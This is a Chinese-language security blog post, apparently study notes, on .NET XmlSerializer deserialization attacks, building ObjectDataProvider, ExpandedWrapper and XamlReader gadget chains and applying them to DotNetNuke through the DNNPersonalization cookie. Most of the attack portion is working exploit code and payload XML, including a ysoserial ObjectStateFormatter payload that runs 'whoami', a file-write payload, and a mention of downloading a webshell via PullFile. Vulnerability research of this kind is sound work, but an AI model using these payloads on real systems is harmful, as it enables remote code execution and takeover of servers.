.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(1)

.NET XmlSerializer

结构化XML数据映射为.NET对象,XmlSerializer 类的程序中通过单个API 调用来执行XML文档和对象之间的转换,转换后会在.NET类中元数据属性来表示,当Web程序,用户可控Type类的静态方法获取数据,并调用Deserialize反序列化xml数据就会触发反序列化漏洞攻击。(本文主要是一次对.net 序列化漏洞的学习笔记,如本文有错误、还请大佬们多多指点)

XmlSerialize 反序列化序列化过程

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; using System.Xml; using System.IO; using System.Xml.Serialization; using System.Xml.Linq; namespace WPFApp1 { [XmlRoot] public class TestClass { private string classname; private string name; private int age; [XmlAttribute] public string Classname { get => classname; set => classname = value; } [XmlElement] public string Name { get => name; set => name = value; } [XmlElement] public int Age { get => age; set => age = value; } public override string ToString() { return base.ToString(); } } /// <summary> /// MainWindow.XAML 的交互逻辑 /// </summary> public partial class MainWindow : Window { public MainWindow() { InitializeComponent(); TestClass testClass = new TestClass(); testClass.Classname = "test"; testClass.Name = "0xdd"; testClass.Age = 18; FileStream FileStream = File.OpenWrite(@"C:\Windows\Temp\log.txt"); using (TextWriter writer = new StreamWriter(fileStream)) { XmlSerializer serialize = new XmlSerializer(typeof(TestClass)); serialize.Serialize(writer, testClass); } } } }

成功生成xml 数据 在 log.txt

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(2)

反序列化过程

将xml 文件 转换为对象是通过创建一个新对象的方式调用,XmlSerializer.Deserialize 方法实现,在序列化最关键的一环当属new XmlSerializer 构造方法里所传的参数,这个参数来自System.Type类 ,通过这个类可以访问关于任意数据类型的信息,指向任何给类型的Type 引用 有以下三种方式

typeof

实例化的XmlSerializer 传入的typeof(TestClass) 表示获取TestClass类的Type typeof是C#中的运算符,所传的参数只能是类型的名称,而不能是实例化的对象,如下Demo

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; using System.Xml; using System.IO; using System.Xml.Serialization; using System.Xml.Linq; namespace WpfApp1 { [XmlRoot] public class TestClass { private string classname; private string name; private int age; [XmlAttribute] public string Classname { get => classname; set => classname = value; } [XmlElement] public string Name { get => name; set => name = value; } [XmlElement] public int Age { get => age; set => age = value; } public override string ToString() { return base.ToString(); } } /// <summary> /// MainWindow.xaml 的交互逻辑 /// </summary> public partial class MainWindow : Window { public MainWindow() { InitializeComponent(); TestClass testClass = new TestClass(); //testClass.Classname = "test"; //testClass.Name = "0xdd"; //testClass.Age = 18; //FileStream fileStream = File.OpenWrite(@"C:\Windows\Temp\log.txt"); //using (TextWriter writer = new StreamWriter(fileStream)) //{ // XmlSerializer serialize = new XmlSerializer(typeof(TestClass)); // serialize.Serialize(writer, testClass); //} using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open)) { var serializers = new XmlSerializer(typeof(TestClass)); testClass = serializers.Deserialize(stream) as TestClass; } MessageBox.Show(testClass.Name); } } }

通过typeof 获取Type 之后就能得到该类中所有的Methods、Members等信息 ,下图在运行时、通过反序列化在对话框获取了当前成员Name的值

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(3)

object.Type

在.NET里所有的类最终都派生自System.Object , 在Object 类中定义了许多公有和受保护的成员方法,这些方法可用于自己定义的所有其他类中,GetType方法就是其中的一个,该方法放回从System.Type派生的类 的一个实例,因为可以提供对象成员和所属类的信息,包括基本类型、方法、属性等,上述案例中实例化TestClass,再获取当前实例的Type

using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open)) { var serializers = new XmlSerializer(testClass.GetType()); testClass = serializers.Deserialize(stream) as TestClass; } MessageBox.Show(testClass.Name); }

Type.GetType

第三种方法是Type类的静态方法GetType,这个方法允许外界传入字符串,只需要传入全限定名就可以调用该类中的方法、属性等

using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open)) { var serializers = new XmlSerializer(Type.GetType("WpfApp1.TestClass")); testClass = serializers.Deserialize(stream) as TestClass; } MessageBox.Show(testClass.Name);

打造攻击链

ObjectDataProvider

ObjectDataProvider 类,它位于System.Windows.Data 命名空间下,可以调用任意被引用类中的的方法,提供成员ObjectInstance用类似实例化类、成员MethodName调用指定类型的方法的名称、成员MethodParameters表示传递给方法的参数

demo

ObjectDataProvider object1 = new ObjectDataProvider(); object1.ObjectInstance = new TestClass(); object1.MethodName = "ClassMethod"; object1.MethodParameters.Add("calc.exe");

因为直接用XmlSerializer 序列化会抛出异常,因为再序列化过程中 ObjectInstance 类型未知,可以使用ExpandedWrapper 扩展类再系统内部预先加载相关实体的查询来避免异常错误,改写Demo

ExpandedWrapper<TestClass, ObjectDataProvider> wrapper = new ExpandedWrapper<TestClass, ObjectDataProvider>(); wrapper.ProjectedProperty0 = new ObjectDataProvider(); wrapper.ProjectedProperty0.ObjectInstance = new TestClass(); wrapper.ProjectedProperty0.MethodName = "ClassMethod"; wrapper.ProjectedProperty0.MethodParameters.Add("notepad.exe"); XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>)); TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml"); serializer1.Serialize(textWriter2, wrapper); textWriter2.Close();

ExpandedWrapper 需要使用引用 System.Data.Services.Internal;

完整WPFdemo

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; using System.Xml; using System.IO; using System.Xml.Serialization; using System.Xml.Linq; using System.Data.Services.Internal; namespace WpfApp1 { [XmlRoot] public class TestClass { private string classname; private string name; private int age; public void ClassMethod(string command) { System.Diagnostics.Process cmd_run = new System.Diagnostics.Process(); cmd_run.StartInfo.FileName = "cmd.exe"; cmd_run.StartInfo.UseShellExecute = false; cmd_run.StartInfo.RedirectStandardError = true; cmd_run.StartInfo.RedirectStandardOutput = true; cmd_run.StartInfo.RedirectStandardInput = true; cmd_run.StartInfo.Arguments = "/c" command; cmd_run.Start(); } [XmlAttribute] public string Classname { get => classname; set => classname = value; } [XmlElement] public string Name { get => name; set => name = value; } [XmlElement] public int Age { get => age; set => age = value; } public override string ToString() { return base.ToString(); } } /// <summary> /// MainWindow.xaml 的交互逻辑 /// </summary> public partial class MainWindow : Window { public MainWindow() { InitializeComponent(); using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open)) { var serializers = new XmlSerializer(Type.GetType("WpfApp1.TestClass")); testClass = serializers.Deserialize(stream) as TestClass; } MessageBox.Show(testClass.Name); ExpandedWrapper<TestClass, ObjectDataProvider> wrapper = new ExpandedWrapper<TestClass, ObjectDataProvider>(); wrapper.ProjectedProperty0 = new ObjectDataProvider(); wrapper.ProjectedProperty0.ObjectInstance = new TestClass(); wrapper.ProjectedProperty0.MethodName = "ClassMethod"; wrapper.ProjectedProperty0.MethodParameters.Add("notepad.exe"); XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>)); TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml"); serializer1.Serialize(textWriter2, wrapper); textWriter2.Close(); } } }

生成内容:

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(4)

<?xml version="1.0" encoding="utf-8"?> <ExpandedWrapperOfTestClassObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ProjectedProperty0> <ObjectInstance xsi:type="TestClass"> <Age>0</Age> </ObjectInstance> <MethodName>ClassMethod</MethodName> <MethodParameters> <anyType xsi:type="xsd:string">notepad.exe</anyType> </MethodParameters> </ProjectedProperty0> </ExpandedWrapperOfTestClassObjectDataProvider>

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(5)

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(6)

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(7)

这样攻击链第一步就完成了,但是因为这里测试环境 TestClass类 存在ClassMethod 方法 可以执行命令,但在实际的生产环境中是非常复杂的,所以为了使攻击成本降低需要调用系统类取达到命令执行。

ResourceDictionary

ResourceDictionary,称为资源字典通常出现在WPF或UWP应用程序中用来在多个程序集间共享静态资源,既然是WPF程序,必然设计到前端UI设计语言XAML,XAML全程 Extensible Application Markup Language (可扩展应用程序标记语言) 基于XML的,且XAML是以一个树形结构作为整体

参考来源于Ivan1ee师傅的.NET高级代码审计

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(8)

  • 第一个标签ResourceDictionary,xmlns:Runtime 表示读取System.Diagnostics 命令空间的名称起个别名为Runtime
  • 第二个标签ObjectDataProvider 指定了三个属性,x:key 便于条件检索,意义不大,但是必须定义。ObjectType 用来获取或设置要创建其实例的对象的类型,并使用了XAML扩展

x:Type 相当于C#中typeof运算符功能,这里传递的值是System.Diagnostics.Process;MethodName 用来获取或设置调用的方法的名称,传递的值为System.Diagonstics.Process.Start 方法用来启动一个进程

  • 第三个标签 ObjectDataProvider.MethodParameters 内嵌了两个方法参数标签,通过 System:String 分别指定了启动文件和启动时所带参数供Start方法使用

XAML概述

可扩展应用程序标记语言 (XAML) 是一种基于 XML 的声明性语言。XAML 广泛用于以下类型的应用程序以构建用户界面 -Windows Presentation Foundation (WPF) 应用 -通用 Windows 平台 (UWP) 应用 -Xamarin.Forms 应用

XAML demo 用途

  • 使用<Button Click="ButtonClick" Margin="136,116,60,55" Grid.Row="1">Button Click 0xdd</Button> 创建按钮

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(9)

XamlReader

XamlReader 位于System.Windows.Markup 空间下,主要用来读取XAML文件,默认的XAML读取器,通过Load读取STream流中的XAML数据,并返回作为根对象,Parse方法读取指定字符串的XAML输入,也同样返回作为根对象。

https://docs.microsoft.com/en-us/dotnet/api/system.windows.markup.xamlreader?view=windowsdesktop-6.0

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(10)

使用ObjectDataProvider 的ObjectInstance 方法实例化XamlReader 再指定MethodName 为Parse,并且给 MethodParameters 传递序列化之后的资源字典数据,这样就可以完成XmlSerializer 反序列化攻击链的打造。

  • 实例ObjectDataProvider 实例化XamlReader 调用过程

xmlstudy.xml

0x01 xmlns:Diag 引用了System.Diagnostics 命令空间起名为Diag0x02 x:key 起名为LaunchCalch 这个值也可为空,在xaml语法中, Key这个键值必须有0x03 ObjectType 表示对象类型0x04 x:Type 相等于 typeof()0x05 MethodName 是ObjectDataProvider 的属性,值为Start、指定调用Start方法0x06 Diag:Process 等同于 System.Diagnostics.Process

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <System:String>cmd.exe</System:String> <System:String>/c calc.exe</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>

调用过程 使XamlReader Parse方法 接收指定的 xml 数据

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; using System.Xml; using System.IO; using System.Xml.Serialization; using System.Xml.Linq; using System.Data.Services.Internal; using System.Windows.Markup; namespace WpfApp1 { /// <summary> /// MainWindow.xaml 的交互逻辑 /// </summary> public partial class MainWindow : Window { public MainWindow() { InitializeComponent(); ExpandedWrapper<XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>(); wrapper.ProjectedProperty0 = new ObjectDataProvider(); wrapper.ProjectedProperty0.ObjectInstance = new XamlReader(); wrapper.ProjectedProperty0.MethodName = "Parse"; wrapper.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(@"C:\WIndows\temp\xmlstudy.xml")); } } }

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(11)

demo

ysoserial.exe -g ObjectDataProvider -calc -f xmlserializer

<?xml version="1.0"?> <root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c alc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]> </anyType> </MethodParameters> <ObjectInstance xsi:type="XamlReader"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider> </root>

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <b:String>cmd</b:String> <b:String>/c alc</b:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; using System.Xml; using System.IO; using System.Xml.Serialization; using System.Xml.Linq; using System.Data.Services.Internal; using System.Windows.Markup; namespace WpfApp1 { /// <summary> /// MainWindow.xaml 的交互逻辑 /// </summary> public partial class MainWindow : Window { public MainWindow() { InitializeComponent(); string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg=="; byte[] vs = Convert.FromBase64String(p); string xml = Encoding.UTF8.GetString(vs); XmlDeserialize(xml); } public static void XmlDeserialize(string o) { XamlReader.Parse(o); } } }

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(12)

攻击链形式

汇总来说攻击链分了2种形式

  • ObjectDataProvider – > Class.Evil() 该种方法 需要代码中有类含有恶意的方法
  • ObjectDataProvider – > XamlReader.Parse() – > ObjectDataProvider -> System.Diagnostics.Process.Start(“cmd.exe”,”/c notepad.exe”) 通用调用
XmlSerialize 代码审计视角

DNN Platform 漏洞版本下载地址

入口点

通过dNSpy工具 对代码进行审计,根据漏洞描述,我们可以明确,通过设定Cookie DNNPersonalization 的值 造成远程代码执行

从代码41中行可以看出,当 if(userId > Null.NullInteger) 条件不满足时 会从Cookie中取出DNNPersonalization 的值, 赋值给text 并由 Globals.DeserializeHashTableXml(text)) 传入XmlUtils.DeSerializeHashtable() 函数

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(13)

跟入Globals.DeserializeHashTableXml

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(14)

继续跟进 DeSerializeHashtable

XmlDocument 命名空间:System.xml 表示 XML 文档。 可使用此类在文档中加载、验证、编辑、添加和放置 XML。详细可参考 https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.xmldocument?view=net-6.0

XmlElement 命名空间:System.xml 元素可以有与之关联的属性,例如使用 GetAttribute 方法 返回具有指定名称的属性的值。https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.xmlelement?view=net-6.0

分析函数功能,

1.初始化了XmlDocumnet,并通过LoadXml 传入xmlSource,通过 xmlDocument.SelectNodes(rootname “/item”) 进行选择匹配 XPath 表达式的节点列表。

rootname的值 为 return XmlUtils.DeSerializeHashtable(Source, “profile”); 传入的 profile,那么获取的为<profile><item>标签中的值

2.通过传入的xml数据,使用xmlElement.GetAttribute 获取 type 属性的值,并生成XmlSerializer实例, 通过代码160-163行 可以看到此时 type 和xmlReader 我们都是可控的

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(15)

构造payload

首先上文已经提到了2条攻击链的形式

  • 1.利用本身程序的方法

具体大家想使用哪个方法,都可以自行查找一些由价值的方法,这里举一个读文件的例子,在 DotNetNuke.Common.Utilities.FileSystemUtils

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(16)

按照上文所说的打造攻击链,使用 ExpandedWrapper 进行Payload 构造

需要添加 DoNetNuke.dll DotNetNuke.Instrumentation.dll 引用

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(17)

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows; using System.Threading.Tasks; using System.Windows.Data; using System.Xml.Linq; using System.IO; using System.Xml.Serialization; using DotNetNuke.Common.Utilities; using System.Data.Services.Internal; namespace ConsoleApp11 { class Program { static void Main(string[] args) { ExpandedWrapper<FileSystemUtils, ObjectDataProvider> wrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>(); XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<FileSystemUtils, ObjectDataProvider>)); Type GetobjType = typeof(ExpandedWrapper<FileSystemUtils, ObjectDataProvider>); Console.Write(GetobjType.AssemblyQualifiedName); wrapper.ProjectedProperty0 = new ObjectDataProvider(); wrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils(); wrapper.ProjectedProperty0.MethodName = "WriteFile"; wrapper.ProjectedProperty0.MethodParameters.Add("C:\\Windows\\Temp\\0xdd.txt"); TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml"); serializer1.Serialize(textWriter2, wrapper); textWriter2.Close(); } } }

运行后生成出了 Payload 并获取了type

type

System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(18)

根据上面读取DeSerializeHashtable方法的代码,我们还要构造以下xml,使程序可以成功读取type 和xml数据,

<profile><item key="key:0xdd" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ProjectedProperty0><ObjectInstance xsi:type="FileSystemUtils" /><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\inetpub\wwwroot\0xdd.txt</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

请求一个404的页面,在cookie 中DNNPersonalization 传入数据,成功获取到文件内容

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(19)

当然,也可以利用DotNetNuke.Common.Utilities.FileSystemUtils中的 PullFile 把远程的文件,下载到指定目录 (例:下载Webshell至指定目录)

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(20)

  • 2.找通用组件的方法

ObjectStateFormatter 一般用于序列化和反序列化状态对象图,位于命名空间System.Web.UI、 Deserialize 方法 支持函数多态,可以处理二进制数据、BASE64数据

.NET序列化学习之XmlSerializer(.NET序列化学习之XmlSerializer)(21)

可以直接利用.net ysoserial 工具 生成DotNetNuke ObjectStateFormatter利用的payload

.net ysoserial 工具

ysoserial.exe -p DotNetNuke -m run_command -c whoami

<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /><MethodName>Deserialize</MethodName><MethodParameters><anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEykgcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC0BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8 DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyB3aG9hbWkiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI Cw==</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

可以发现关键点 type和xmlReader 可控,除了DotNetNuke 使用了XmlSerialize,还可以尝试用SharePoint 进行练手

参考:https://www.anquanke.com/post/id/172316

本文由0xdd原创发布转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/262781安全客 - 有思想的安全新媒体

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页